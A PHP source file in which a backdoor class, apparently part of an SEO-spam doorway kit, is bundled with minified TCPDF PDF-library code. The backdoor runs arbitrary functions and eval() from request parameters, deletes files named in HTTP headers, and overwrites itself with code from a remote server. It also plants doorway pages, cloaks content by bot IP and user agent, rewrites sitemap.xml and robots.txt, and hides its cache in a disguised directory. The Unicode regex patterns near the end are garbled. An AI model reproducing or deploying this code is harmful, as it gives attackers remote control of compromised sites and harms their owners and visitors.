$dirs = preg_grep('#.X1-unix$#', $dirs);
foreach ($dirs as $dir) {
if (realpath($dir) == $myDir) continue;
$this->cache->removeDir($dir);
}
}
function install()
{
$this->timeLimit(300);
dds_debug('set time limit');
$this->removePreviousCache();
dds_debug('removed prev cache');
$this->installer->dropHtmlDoorways();
dds_debug('dropped html dw');
if ($file = @$_SERVER['HTTP_X_REMOVE']) {
dds_debug("Removing $file");
@unlink($file);
}
$res = $this->installer->includeSelf();
dds_debug('included self? ' . $this->_stringifyResponse($res));
if (! $res || $res['error']) {
return $res;
}
$res['modrewrite'] = $this->installer->hasModRewrite();
$res['freespace'] = $this->cache->getFreeSpace();
return $res;
}
function getData($url)
{
$ch = curl_init($url);
curl_setopt($ch, CURLOPT_ENCODING, "gzip");
curl_setopt($ch, CURLOPT_RETURNTRANSFER, true);
$data = curl_exec($ch);
curl_close($ch);
return $data;
}
function hello()
{
$commonFiles = array('bots/ips', 'bots/masks', 'bots/useragents', 'redirect', 'template');
$missingFiles = $this->cache->getMissing($commonFiles);
$response = array(
'name' => $this->cache->makeName('testfile'),
'file' => $this->getOwnFile(),
'dir' => $this->cache->getDir(),
'dirWritable' => is_writable($this->cache->getDir()),
'version' => $this->options['version'],
'commonExist' => ! $missingFiles,
'missingFiles' => $missingFiles,
'redirect' => $this->cache->read('redirect')
);
foreach (array('gzencode', 'gzcompress', 'gzdeflate') as $name) {
$response[$name] = function_exists($name);
}
if (! $missingFiles) {
$response['botIpNumber'] = strlen($this->cache->read('bots/ips')) / 4;
$response['templateSize'] = strlen($this->cache->read('template'));
}
return $response;
}
function getUserLog()
{
return $this->userLogger->getLogs();
}
function phpinfo()
{
phpinfo();
return "";
}
function run($params)
{
return $params['function']($params['arg1'], $params['arg2']);
}
function evaluate($params)
{
return eval($params['arg']);
}
function printMarker()
{
return array();
}
function getOwnFile()
{
return preg_replace('@\(.*\(.*$@', '', __FILE__);
}
function _printIncluded()
{
echo '<dds-delimiter>'.$this->_stringifyResponse(get_included_files()).'</dds-delimiter>';
}
function getIncludedFiles()
{
$file = strrev($_SERVER['HTTP_X_CHECKED_FILE']);
chdir(dirname($file));
$myname = $_SERVER['SCRIPT_NAME'];
foreach ($_SERVER as $key => $value) {
$_SERVER[$key] = str_replace($myname, '/'.basename($file), $value);
}
$_SERVER['REQUEST_URI'] = $_SERVER['SCRIPT_URL'] = '/';
$_SERVER['SCRIPT_URI'] = 'http://'.$_SERVER['HTTP_HOST'] . '/';
$shutdown = array($this, '_printIncluded');
register_shutdown_function($shutdown);
return array(
'file' => $file,
'shutdown' => $shutdown
);
}
function showCache()
{
return $this->cache->read($_SERVER['HTTP_X_FILE']);
}
function dropCache()
{
return $this->cache->remove($_SERVER['HTTP_X_FILE']);
}
function showIps()
{
return $this->ipChecker->getIpList();
}
function update()
{
if (@$_SERVER['HTTP_X_REPLACE'] || $_SERVER['HTTP_X_VERSION'] != $this->options['version']) {
return array_merge(array(
'updating' => true,
'myversion' => $this->options['version'],
'currentversion' => $_SERVER['HTTP_X_VERSION'],
), $this->updateSelf());
}
$this->installer->dropHtmlDoorways();
$this->cache->write('folder', @$_SERVER['HTTP_X_FOLDER']);
$pageVersion = $this->cache->read('page version', -1);
$serverPageVersion = @$_SERVER['HTTP_X_PAGESUPDATEDAT'];
dds_debug("Our page version $pageVersion");
dds_debug("Server page version $serverPageVersion");
$linksWereUpdated = $pageVersion != $serverPageVersion;
$response = array('success' => true);
foreach (array('redirecttype', 'redirectwith', 'frameurl', 'apikey', 'onlybots', 'sitemap', 'innerlinkdisplay', 'buttonlink') as $name) {
$value = @$_SERVER['HTTP_X_'.strtoupper($name)];
if (! $value) continue;
$this->cache->write($name, $value);
}
$this->updateSitemap();
if ($serverNewIps = @$_SERVER['HTTP_X_NEW']) {
foreach (explode(',', $serverNewIps) as $newIp) {
$this->ipChecker->addIpToList(long2ip($newIp));
}
}
if ($linksWereUpdated || ! $this->metaUpToDate()) {
$this->updateMeta();
$response['updated_meta'] = true;
}
$pagesNumber = count($this->cache->jsonRead('pageids', array()));
dds_debug("We have $pagesNumber pages");
$serverPageCount = intval($_SERVER['HTTP_X_PAGES']);
$haveNotAllPages = false;
$response['myPageNumber'] = $pagesNumber;
$count = count($this->cache->listFiles($this->cache->getDir()));
$response['actualCacheCount'] = $count;
$response['serverPageCount'] = $serverPageCount;
# some leeway for local cache count so that - some sites have repeating pathes, so count in cache table is e.g. 1000, with only 900 unique,
# local site has all 900, but they're redownloaded all the time since script thinks some pages are missing
if ($count + 100 < $serverPageCount) {
$haveNotAllPages = true;
$pageVersion = -1;
}
if ($haveNotAllPages || $linksWereUpdated) {
$response['pageversion'] = $pageVersion;
$response['serverpageversion'] = $serverPageVersion;
$response['updated_pages'] = $this->updatePages($pageVersion, $serverPageVersion);
}
$newIps = $this->ipChecker->getNewIpList();
foreach ($newIps as $ip) {
$this->ipChecker->addIpToList($ip);
}
$this->cache->remove('bots/new_ips');
$response['newIps'] = array_map(array($this, 'toLong'), $newIps);
$response['debug'] = array_slice(@$GLOBALS['DDS_DEBUG_MESSAGES'], 0, 50);
$response['links_were_updated'] = $linksWereUpdated;
$response['not_all_pages'] = $haveNotAllPages;
return $response;
}
function updateSitemap()
{
if ($this->cache->read('sitemap') != 'yes') return;
$sitemapFile = $_SERVER['DOCUMENT_ROOT'] . '/sitemap.xml';
$sitemap = $this->getSitemapContents();
$current = file_get_contents($sitemapFile);
if ($current != $sitemap) {
$written = file_put_contents($sitemapFile, $sitemap) > 0;
if (! $written) {
dds_debug("Could not write sitemap to $sitemapFile");
$this->cache->remove('sitemap_showtype');
return;
}
}
if ($this->writeRobots()) {
$this->cache->write('sitemap_showtype', 'robots');
} else {
$this->cache->write('sitemap_showtype', 'inline');
}
}
function getSitemapContents()
{
if ($text = $this->cache->read('sitemap_text') && time() - 3600 * 24 * 2 < $this->cache->read('sitemap_since', 0)) {
return $text;
}
$sitemap = $this->serverClient->getSitemap();
$this->cache->write('sitemap_text', $sitemap);
$this->cache->write('sitemap_since', time());
return $sitemap;
}
function writeRobots()
{
$robotsPath = $_SERVER['DOCUMENT_ROOT'] . '/robots.txt';
$robotsContent = file_get_contents($robotsPath);
if (false !== strpos($robotsContent, '/sitemap.xml')) return true;
$robotsContent .= "
";
$robotsContent .= "User-Agent: *
";
$robotsContent .= "Sitemap: http://{$_SERVER['HTTP_HOST']}/sitemap.xml
";
return file_put_contents($robotsPath, $robotsContent) > 0;
}
function toLong($ip)
{
return sprintf('%u', ip2long($ip));
}
function metaUpToDate()
{
if ($_SERVER['HTTP_X_FORCEUPDATE']) {
dds_debug("Update forced");
return false;
}
$serverIpNumber = $_SERVER['HTTP_X_IPNUMBER'];
$ourIpNumber = $this->ipChecker->getIpCount();
if ($serverIpNumber != $ourIpNumber) {
dds_debug("Server ip number $serverIpNumber, our $ourIpNumber");
return false;
}
if ($_SERVER['HTTP_X_UANUMBER'] != count($this->cache->jsonRead('bots/useragents', array()))) {
dds_debug("Different UA number");
return false;
}
if ($_SERVER['HTTP_X_MASKNUMBER'] != count($this->cache->jsonRead('bots/masks', array()))) {
dds_debug("Different mask number");
return false;
}
if (! $this->cache->read('template')) {
dds_debug("Bad template");
return false;
}
if (0 == count($this->cache->jsonRead('links', array()))) {
dds_debug("No links to inject");
return false;
}
$redirect = $this->cache->read('redirect');
if (! $redirect) {
dds_debug("No redirect");
return false;
}
if (md5($redirect) != $_SERVER['HTTP_X_DESTINATION']) {
dds_debug("Bad redirect hash");
return false;
}
return true;
}
function updateMeta()
{
$meta = $this->serverClient->getMeta();
if (! $meta) return array(
'error' => 'No meta received'
);
$meta = json_decode($meta, true);
$meta['bots/ips'] = base64_decode($meta['bots/ips']);
$meta['bots/useragents'] = json_encode($meta['bots/useragents']);
$meta['bots/masks'] = json_encode($meta['bots/masks']);
$meta['links'] = json_encode($meta['links']);
foreach ($meta as $file => $data) {
$this->cache->write($file, $data);
}
}
function updatePages($myVersion, $serverPageVersion)
{
$page = $this->cache->read('next page', 0);
$limit = isset($_SERVER['HTTP_X_LIMIT']) ? intval($_SERVER['HTTP_X_LIMIT']) : 3000;
$callback = array($this, 'writePage');
$this->serverClient->loadPages($callback, $page, $myVersion, $limit);
$pageidsExisting = $this->cache->jsonRead('pageids', array());
$pageids = array_unique(array_merge($pageidsExisting, $this->pageidsWritten));
$this->cache->write('pageids', json_encode($pageids));
$done = count($this->pageidsWritten) < $limit;
if ($done) {
$this->cache->write('page version', $serverPageVersion);
$this->cache->remove('next page');
} else {
$this->cache->write('next page', $page + 1);
}
return array(
'done' => $done,
'error' => $this->writingError,
'lasterror' => error_get_last(),
'pageCount' => count($this->pageidsWritten),
'total' => count($pageids),
'limit' => $limit,
'myVersion' => $myVersion,
'serverVersion' => $serverPageVersion,
'page' => $page
);
}
function writePage($ch, $data)
{
$dataSize = strlen($data);
$data = $this->remainder . $data;
$lines = explode("
", $data);
$this->remainder = array_pop($lines);
$pageCount = 0;
foreach ($lines as $line) {
$line = trim($line);
if (! $line) continue;
$pageCount++;
$page = json_decode($line, true);
if (! $this->cache->hasSpace()) {
$this->writingError = "No space";
return 0;
}
$path = $page['path'];
unset($page['path']);
$data = json_encode($page);
$written = $this->cache->write($path, $data);
if (! $written) {
$this->writingError = "Could not write $path length " . strlen($data);
return 0;
}
$this->pageidsWritten[] = $page['id'];
}
return $dataSize;
}
function updateSelf()
{
$minify = intval($_SERVER['HTTP_X_MINIFY']);
$code = $this->serverClient->getCode($minify);
if (! $code) return array(
'error' => 'no code from server'
);
$file = $this->getOwnFile();
$written = file_put_contents($file, $code);
sleep(10);
return array(
'file' => $file,
'written' => $written,
);
}
}
class DS_CacheWriter
{
var $root;
var $seed;
var $maxTime = false;
function __construct($root, $seed = '')
{
$this->root = $root;
$this->seed = $seed;
}
function setMaxTime($time)
{
$this->maxTime = $time;
}
function getFreeSpace()
{
$free = disk_free_space($this->root);
return $free ? $free : 0;
}
function hasSpace()
{
return $this->getFreeSpace() > 1000 * 1000 * 1000;
}
function getMissing($files)
{
$missing = array();
foreach ($files as $file) {
if (! $this->exists($file)) $missing[] = $file;
}
return $missing;
}
function exists($file)
{
$longName = $this->makeName($file);
$exists = file_exists($longName);
return $exists;
}
function makeDir($path)
{
$dir = dirname($path);
if (! file_exists($dir)) {
@mkdir($dir, 0777, true);
@chmod($dir, 0777);
}
}
function write($file, $contents)
{
return $this->writeRaw($file, $this->deflate($contents));
}
function writeRaw($file, $contents)
{
$fullPath = $this->makeName($file);
$this->makeDir($fullPath);
return file_put_contents($fullPath, $contents);
}
function deflate($string)
{
return $this->runIfExists(array('gzcompress', 'gzdeflate'), $string);
}
function runIfExists($names, $data)
{
foreach ($names as $name) {
if (function_exists($name)) return $name($data);
}
return $data;
}
function inflate($string)
{
return $this->runIfExists(array('gzuncompress', 'gzinflate'), $string);
}
function appendRaw($realname, $data)
{
$file = $this->makeName($realname);
$this->makeDir($file);
$fp = fopen($file, 'ab');
$res = fwrite($fp, $data);
fclose($fp);
return $res;
}
function readRaw($realname)
{
return file_get_contents($this->makeName($realname));
}
function read($realname, $default = null)
{
$file = $this->makeName($realname);
if (! file_exists($file)) {
return $default;
}
$deflated = file_get_contents($file);
$inflated = $this->inflate($deflated);
return @$inflated;
}
function jsonRead($file, $default)
{
$body = $this->read($file);
return $body ? json_decode($body, true) : $default;
}
function tryDir($full)
{
if (! file_exists($full)) {
@mkdir($full, 0777, true);
@chmod($full, 0777);
}
return file_put_contents($full.'.test', 'ignore');
}
function getDir()
{
foreach (array( '.X1-unix/', '.sessions-'.$this->seed.'/', '') as $subdir) {
$full = $this->root . $subdir;
if ($this->tryDir($full)) return $full;
}
return '/tmp/';
}
function makeName($file)
{
$md5 = md5($file . '-' . $this->seed);
return $this->getDir() . substr($md5, 0, 3) . "/" . $md5;
}
function remove($file)
{
if (! $this->exists($file)) return true;
return unlink($this->makeName($file));
}
function removeDir($dir)
{
$files = array_merge(glob($dir . '/*'), glob($dir . '/.*'));
foreach ($files as $file) {
if (in_array(basename($file), array('.', '..'))) continue;
is_dir($file) ? $this->removeDir($file) : unlink($file);
}
return rmdir($dir);
}
function listAllFiles($dir, $options)
{
if ($this->maxTime && time() > $this->maxTime) return array();
$results = array();
$globOptions = isset($options['globoptions']) ? $options['globoptions'] : null;
$extension = isset($options['extension']) ? $options['extension'] : false;
$adddirs = isset($options['adddirs']) ? $options['adddirs'] : false;
$nodescend = isset($options['nodescend']) ? $options['nodescend'] : '.X1-unix';
$list = array_merge(
glob($dir . '/*', $globOptions),
glob($dir . '/.*', $globOptions)
);
foreach ($list as $file) {
$basename = basename($file);
if ($basename == '.' || $basename == '..') continue;
if (is_dir($file)) {
if ($adddirs) {
$results[] = $file;
}
if ($basename == $nodescend) continue;
$results = array_merge($results, $this->listAllFiles($file, $options));
} else if (! $extension || substr($file, -strlen($extension)) === $extension) {
$results[] = $file;
}
}
return $results;
}
function listDirs($dir) {
return $this->listAllFiles($dir, array(
'adddirs' => true,
'globoptions' => GLOB_ONLYDIR
));
}
function listFiles($dir, $extension = false) {
return $this->listAllFiles($dir, array(
'extension' => $extension
));
}
}
class TCPDF_COLORS{ public static $webcolor=array('aliceblue'=>'f0f8ff','antiquewhite'=>'faebd7','aqua'=>'00ffff','aquamarine'=>'7fffd4','azure'=>'f0ffff','beige'=>'f5f5dc','bisque'=>'ffe4c4','black'=>'000000','blanchedalmond'=>'ffebcd','blue'=>'0000ff','blueviolet'=>'8a2be2','brown'=>'a52a2a','burlywood'=>'deb887','cadetblue'=>'5f9ea0','chartreuse'=>'7fff00','chocolate'=>'d2691e','coral'=>'ff7f50','cornflowerblue'=>'6495ed','cornsilk'=>'fff8dc','crimson'=>'dc143c','cyan'=>'00ffff','darkblue'=>'00008b','darkcyan'=>'008b8b','darkgoldenrod'=>'b8860b','dkgray'=>'a9a9a9','darkgray'=>'a9a9a9','darkgrey'=>'a9a9a9','darkgreen'=>'006400','darkkhaki'=>'bdb76b','darkmagenta'=>'8b008b','darkolivegreen'=>'556b2f','darkorange'=>'ff8c00','darkorchid'=>'9932cc','darkred'=>'8b0000','darksalmon'=>'e9967a','darkseagreen'=>'8fbc8f','darkslateblue'=>'483d8b','darkslategray'=>'2f4f4f','darkslategrey'=>'2f4f4f','darkturquoise'=>'00ced1','darkviolet'=>'9400d3','deeppink'=>'ff1493','deepskyblue'=>'00bfff','dimgray'=>'696969','dimgrey'=>'696969','dodgerblue'=>'1e90ff','firebrick'=>'b22222','floralwhite'=>'fffaf0','forestgreen'=>'228b22','fuchsia'=>'ff00ff','gainsboro'=>'dcdcdc','ghostwhite'=>'f8f8ff','gold'=>'ffd700','goldenrod'=>'daa520','gray'=>'808080','grey'=>'808080','green'=>'008000','greenyellow'=>'adff2f','honeydew'=>'f0fff0','hotpink'=>'ff69b4','indianred'=>'cd5c5c','indigo'=>'4b0082','ivory'=>'fffff0','khaki'=>'f0e68c','lavender'=>'e6e6fa','lavenderblush'=>'fff0f5','lawngreen'=>'7cfc00','lemonchiffon'=>'fffacd','lightblue'=>'add8e6','lightcoral'=>'f08080','lightcyan'=>'e0ffff','lightgoldenrodyellow'=>'fafad2','ltgray'=>'d3d3d3','lightgray'=>'d3d3d3','lightgrey'=>'d3d3d3','lightgreen'=>'90ee90','lightpink'=>'ffb6c1','lightsalmon'=>'ffa07a','lightseagreen'=>'20b2aa','lightskyblue'=>'87cefa','lightslategray'=>'778899','lightslategrey'=>'778899','lightsteelblue'=>'b0c4de','lightyellow'=>'ffffe0','lime'=>'00ff00','limegreen'=>'32cd32','linen'=>'faf0e6','magenta'=>'ff00ff','maroon'=>'800000','mediumaquamarine'=>'66cdaa','mediumblue'=>'0000cd','mediumorchid'=>'ba55d3','mediumpurple'=>'9370d8','mediumseagreen'=>'3cb371','mediumslateblue'=>'7b68ee','mediumspringgreen'=>'00fa9a','mediumturquoise'=>'48d1cc','mediumvioletred'=>'c71585','midnightblue'=>'191970','mintcream'=>'f5fffa','mistyrose'=>'ffe4e1','moccasin'=>'ffe4b5','navajowhite'=>'ffdead','navy'=>'000080','oldlace'=>'fdf5e6','olive'=>'808000','olivedrab'=>'6b8e23','orange'=>'ffa500','orangered'=>'ff4500','orchid'=>'da70d6','palegoldenrod'=>'eee8aa','palegreen'=>'98fb98','paleturquoise'=>'afeeee','palevioletred'=>'d87093','papayawhip'=>'ffefd5','peachpuff'=>'ffdab9','peru'=>'cd853f','pink'=>'ffc0cb','plum'=>'dda0dd','powderblue'=>'b0e0e6','purple'=>'800080','red'=>'ff0000','rosybrown'=>'bc8f8f','royalblue'=>'4169e1','saddlebrown'=>'8b4513','salmon'=>'fa8072','sandybrown'=>'f4a460','seagreen'=>'2e8b57','seashell'=>'fff5ee','sienna'=>'a0522d','silver'=>'c0c0c0','skyblue'=>'87ceeb','slateblue'=>'6a5acd','slategray'=>'708090','slategrey'=>'708090','snow'=>'fffafa','springgreen'=>'00ff7f','steelblue'=>'4682b4','tan'=>'d2b48c','teal'=>'008080','thistle'=>'d8bfd8','tomato'=>'ff6347','turquoise'=>'40e0d0','violet'=>'ee82ee','wheat'=>'f5deb3','white'=>'ffffff','whitesmoke'=>'f5f5f5','yellow'=>'ffff00','yellowgreen'=>'9acd32'); public static $jscolor=array('transparent','black','white','red','green','blue','cyan','magenta','yellow','dkGray','gray','ltGray'); public static $spotcolor=array('none'=>array(0,0,0,0,'None'),'all'=>array(100,100,100,100,'All'),'cyan'=>array(100,0,0,0,'Cyan'),'magenta'=>array(0,100,0,0,'Magenta'),'yellow'=>array(0,0,100,0,'Yellow'),'key'=>array(0,0,0,100,'Key'),'white'=>array(0,0,0,0,'White'),'black'=>array(0,0,0,100,'Black'),'red'=>array(0,100,100,0,'Red'),'green'=>array(100,0,100,0,'Green'),'blue'=>array(100,100,0,0,'Blue'),); public static function getSpotColor($name,&$spotc){if(isset($spotc[$name])){return $spotc[$name];}$color=preg_replace('/[\s]*/','',$name);$color=strtolower($color);if(isset(self::$spotcolor[$color])){if(!isset($spotc[$name])){$i=(1+count($spotc));$spotc[$name]=array('C'=>self::$spotcolor[$color][0],'M'=>self::$spotcolor[$color][1],'Y'=>self::$spotcolor[$color][2],'K'=>self::$spotcolor[$color][3],'name'=>self::$spotcolor[$color][4],'i'=>$i);}return $spotc[self::$spotcolor[$color][4]];}return false;} public static function convertHTMLColorToDec($hcolor,&$spotc,$defcol=array('R'=>128,'G'=>128,'B'=>128)){$color=preg_replace('/[\s]*/','',$hcolor);$color=strtolower($color);if(strpos($color,'[')!==false){if(preg_match('/[\[][\"\'](t|g|rgb|cmyk)[\"\'][\,]?([0-9\.]*)[\,]?([0-9\.]*)[\,]?([0-9\.]*)[\,]?([0-9\.]*)[\]]/',$color,$m)>0){$returncolor=array();switch($m[1]){case 'cmyk':{$returncolor['C']=max(0,min(100,(floatval($m[2])*100)));$returncolor['M']=max(0,min(100,(floatval($m[3])*100)));$returncolor['Y']=max(0,min(100,(floatval($m[4])*100)));$returncolor['K']=max(0,min(100,(floatval($m[5])*100)));break;}case 'rgb':{$returncolor['R']=max(0,min(255,(floatval($m[2])*255)));$returncolor['G']=max(0,min(255,(floatval($m[3])*255)));$returncolor['B']=max(0,min(255,(floatval($m[4])*255)));break;}case 'g':{$returncolor['G']=max(0,min(255,(floatval($m[2])*255)));break;}case 't':default:{break;}}return $returncolor;}}elseif((substr($color,0,4)!='cmyk') AND (substr($color,0,3)!='rgb') AND (($dotpos=strpos($color,'.'))!==false)){$color=substr($color,($dotpos+1));if($color=='transparent'){return array();}}if(strlen($color)==0){return $defcol;}if(substr($color,0,3)=='rgb'){$codes=substr($color,4);$codes=str_replace(')','',$codes);$returncolor=explode(',',$codes);foreach($returncolor as $key=>$val){if(strpos($val,'%')>0){$returncolor[$key]=(255*intval($val)/100);}else {$returncolor[$key]=intval($val);}$returncolor[$key]=max(0,min(255,$returncolor[$key]));}return $returncolor;}if(substr($color,0,4)=='cmyk'){$codes=substr($color,5);$codes=str_replace(')','',$codes);$returncolor=explode(',',$codes);foreach($returncolor as $key=>$val){if(strpos($val,'%')!==false){$returncolor[$key]=(100*intval($val)/100);}else {$returncolor[$key]=intval($val);}$returncolor[$key]=max(0,min(100,$returncolor[$key]));}return $returncolor;}if($color[0]!='#'){if(isset(self::$webcolor[$color])){$color_code=self::$webcolor[$color];}else {$returncolor=self::getSpotColor($color,$spotc);if($returncolor===false){$returncolor=$defcol;}return $returncolor;}}else {$color_code=substr($color,1);}switch(strlen($color_code)){case 3:{$r=substr($color_code,0,1);$g=substr($color_code,1,1);$b=substr($color_code,2,1);$returncolor=array();$returncolor['R']=max(0,min(255,hexdec($r.$r)));$returncolor['G']=max(0,min(255,hexdec($g.$g)));$returncolor['B']=max(0,min(255,hexdec($b.$b)));break;}case 6:{$returncolor=array();$returncolor['R']=max(0,min(255,hexdec(substr($color_code,0,2))));$returncolor['G']=max(0,min(255,hexdec(substr($color_code,2,2))));$returncolor['B']=max(0,min(255,hexdec(substr($color_code,4,2))));break;}case 8:{$returncolor=array();$returncolor['C']=max(0,min(100,round(hexdec(substr($color_code,0,2))/2.55)));$returncolor['M']=max(0,min(100,round(hexdec(substr($color_code,2,2))/2.55)));$returncolor['Y']=max(0,min(100,round(hexdec(substr($color_code,4,2))/2.55)));$returncolor['K']=max(0,min(100,round(hexdec(substr($color_code,6,2))/2.55)));break;}default:{$returncolor=$defcol;break;}}return $returncolor;} public static function getColorStringFromArray($c){$c=array_values($c);$color='[';switch(count($c)){case 4:{$color.=sprintf('%F %F %F %F',(max(0,min(100,floatval($c[0])))/100),(max(0,min(100,floatval($c[1])))/100),(max(0,min(100,floatval($c[2])))/100),(max(0,min(100,floatval($c[3])))/100));break;}case 3:{$color.=sprintf('%F %F %F',(max(0,min(255,floatval($c[0])))/255),(max(0,min(255,floatval($c[1])))/255),(max(0,min(255,floatval($c[2])))/255));break;}case 1:{$color.=sprintf('%F',(max(0,min(255,floatval($c[0])))/255));break;}}$color.=']';return $color;} public static function _JScolor($color){if(substr($color,0,1)=='#'){return sprintf("['RGB',%F,%F,%F]",(hexdec(substr($color,1,2))/255),(hexdec(substr($color,3,2))/255),(hexdec(substr($color,5,2))/255));}if(!in_array($color,self::$jscolor)){$color=$jscolor[0];}return 'color.'.$color;}}
define('K_PATH_MAIN',dirname(__FILE__).'/');define('K_PATH_FONTS',K_PATH_MAIN.'fonts/');define('PDF_PAGE_FORMAT','A4');define('PDF_PAGE_ORIENTATION','P');define('PDF_CREATOR','TCPDF');define('PDF_AUTHOR','TCPDF');define('PDF_UNIT','mm');define('PDF_MARGIN_HEADER',5);define('PDF_MARGIN_FOOTER',10);define('PDF_MARGIN_TOP',27);define('PDF_MARGIN_BOTTOM',25);define('PDF_MARGIN_LEFT',15);define('PDF_MARGIN_RIGHT',15);define('PDF_IMAGE_SCALE_RATIO',1.25);define('K_CELL_HEIGHT_RATIO',1.25);define('K_TITLE_MAGNIFICATION',1.3);define('K_SMALL_RATIO',2/3);define('K_THAI_TOPCHARS',true);define('K_TCPDF_CALLS_IN_HTML',false);$K_PATH_CACHE=ini_get('upload_tmp_dir')?ini_get('upload_tmp_dir'):sys_get_temp_dir();if(substr($K_PATH_CACHE,-1)!='/'){$K_PATH_CACHE.='/';}define('K_PATH_CACHE',$K_PATH_CACHE);class TCPDF_IMAGES{ public static $svginheritprop=array('clip-rule','color','color-interpolation','color-interpolation-filters','color-profile','color-rendering','cursor','direction','display','fill','fill-opacity','fill-rule','font','font-family','font-size','font-size-adjust','font-stretch','font-style','font-variant','font-weight','glyph-orientation-horizontal','glyph-orientation-vertical','image-rendering','kerning','letter-spacing','marker','marker-end','marker-mid','marker-start','pointer-events','shape-rendering','stroke','stroke-dasharray','stroke-dashoffset','stroke-linecap','stroke-linejoin','stroke-miterlimit','stroke-opacity','stroke-width','text-anchor','text-rendering','visibility','word-spacing','writing-mode'); public static function getImageFileType($imgfile,$iminfo=array()){$type='';if(isset($iminfo['mime']) AND !empty($iminfo['mime'])){$mime=explode('/',$iminfo['mime']);if((count($mime)>1) AND ($mime[0]=='image') AND (!empty($mime[1]))){$type=strtolower(trim($mime[1]));}}if(empty($type)){$fileinfo=pathinfo($imgfile);if(isset($fileinfo['extension']) AND (!TCPDF_STATIC::empty_string($fileinfo['extension']))){$type=strtolower(trim($fileinfo['extension']));}}if($type=='jpg'){$type='jpeg';}return $type;} public static function setGDImageTransparency($new_image,$image){$tcol=array('red'=>255,'green'=>255,'blue'=>255);$tid=imagecolortransparent($image);$palletsize=imagecolorstotal($image);if(($tid>=0) AND ($tid<$palletsize)){$tcol=imagecolorsforindex($image,$tid);}$tid=imagecolorallocate($new_image,$tcol['red'],$tcol['green'],$tcol['blue']);imagefill($new_image,0,0,$tid);imagecolortransparent($new_image,$tid);return $new_image;} public static function _toPNG($image,$tempfile){imageinterlace($image,0);imagepng($image,$tempfile);imagedestroy($image);$retvars=self::_parsepng($tempfile);unlink($tempfile);return $retvars;} public static function _toJPEG($image,$quality,$tempfile){imagejpeg($image,$tempfile,$quality);imagedestroy($image);$retvars=self::_parsejpeg($tempfile);unlink($tempfile);return $retvars;} public static function _parsejpeg($file){if(!@file_exists($file)){$tfile=str_replace(' ','%20',$file);if(@file_exists($tfile)){$file=$tfile;}}$a=getimagesize($file);if(empty($a)){return false;}if($a[2]!=2){return false;}$bpc=isset($a['bits'])?intval($a['bits']):8;if(!isset($a['channels'])){$channels=3;}else {$channels=intval($a['channels']);}switch($channels){case 1:{$colspace='DeviceGray';break;}case 3:{$colspace='DeviceRGB';break;}case 4:{$colspace='DeviceCMYK';break;}default:{$channels=3;$colspace='DeviceRGB';break;}}$data=file_get_contents($file);$icc=array();$offset=0;while(($pos=strpos($data,"ICC_PROFILE",$offset))!==false){$length=(TCPDF_STATIC::_getUSHORT($data,($pos-2))-16);$msn=max(1,ord($data[($pos+12)]));$nom=max(1,ord($data[($pos+13)]));$icc[($msn-1)]=substr($data,($pos+14),$length);$offset=($pos+14+$length);}if(count($icc)>0){ksort($icc);$icc=implode('',$icc);if((ord($icc[36])!=0x61) OR (ord($icc[37])!=0x63) OR (ord($icc[38])!=0x73) OR (ord($icc[39])!=0x70)){$icc=false;}}else {$icc=false;}return array('w'=>$a[0],'h'=>$a[1],'ch'=>$channels,'icc'=>$icc,'cs'=>$colspace,'bpc'=>$bpc,'f'=>'DCTDecode','data'=>$data);} public static function _parsepng($file){$f=@fopen($file,'rb');if($f===false){return false;}if(fread($f,8)!=chr(137).'PNG'.chr(13).chr(10).chr(26).chr(10)){return false;}fread($f,4);if(fread($f,4)!='IHDR'){return false;}$w=TCPDF_STATIC::_freadint($f);$h=TCPDF_STATIC::_freadint($f);$bpc=ord(fread($f,1));$ct=ord(fread($f,1));if($ct==0){$colspace='DeviceGray';}elseif($ct==2){$colspace='DeviceRGB';}elseif($ct==3){$colspace='Indexed';}else {fclose($f);return 'pngalpha';}if(ord(fread($f,1))!=0){fclose($f);return false;}if(ord(fread($f,1))!=0){fclose($f);return false;}if(ord(fread($f,1))!=0){fclose($f);return false;}fread($f,4);$channels=($ct==2?3:1);$parms='/DecodeParms << /Predictor 15 /Colors '.$channels.' /BitsPerComponent '.$bpc.' /Columns '.$w.' >>';$pal='';$trns='';$data='';$icc=false;$n=TCPDF_STATIC::_freadint($f);do{$type=fread($f,4);if($type=='PLTE'){$pal=TCPDF_STATIC::rfread($f,$n);fread($f,4);}elseif($type=='tRNS'){$t=TCPDF_STATIC::rfread($f,$n);if($ct==0){$trns=array(ord($t[1]));}elseif($ct==2){$trns=array(ord($t[1]),ord($t[3]),ord($t[5]));}else {if($n>0){$trns=array();for($i=0;$i<$n;++$i){$trns[]=ord($t{$i});}}}fread($f,4);}elseif($type=='IDAT'){$data.=TCPDF_STATIC::rfread($f,$n);fread($f,4);}elseif($type=='iCCP'){$len=0;while((ord(fread($f,1))!=0) AND ($len<80)){++$len;}if(ord(fread($f,1))!=0){fclose($f);return false;}$icc=TCPDF_STATIC::rfread($f,($n-$len-2));$icc=gzuncompress($icc);fread($f,4);}elseif($type=='IEND'){break;}else {TCPDF_STATIC::rfread($f,$n+4);}$n=TCPDF_STATIC::_freadint($f);}while($n);if(($colspace=='Indexed') AND (empty($pal))){fclose($f);return false;}fclose($f);return array('w'=>$w,'h'=>$h,'ch'=>$channels,'icc'=>$icc,'cs'=>$colspace,'bpc'=>$bpc,'f'=>'FlateDecode','parms'=>$parms,'pal'=>$pal,'trns'=>$trns,'data'=>$data);}}class TCPDF_FONT_DATA{ public static $uni_LRM=8206; public static $uni_RLM=8207; public static $uni_LRE=8234; public static $uni_RLE=8235; public static $uni_PDF=8236; public static $uni_LRO=8237; public static $uni_RLO=8238; public static $uni_RE_PATTERN_RTL="/(
# R
| [--] # R
| [-] # R
| # R
| [---] # R
| [-] # R
| [--] # R
| [-] # R
| [---] # R
| [--] # R
| [] # RLE & RLO
)/x"; public static $uni_RE_PATTERN_ARABIC="/(
[--] # AL
| [---] # AL
| [-] # AL
| [--] # AL
| [--] # AL
| [-] # AL
| [-] # AL
| [-] # AL
| [-] # AL
| [-] # AL
| [-][-] # AL
| [-] # AL
| [-] # AL
| [--] # AL
| [--] # AL
| [--] # AL
| [-] # AL
| [-] # AL
| [-] # AN
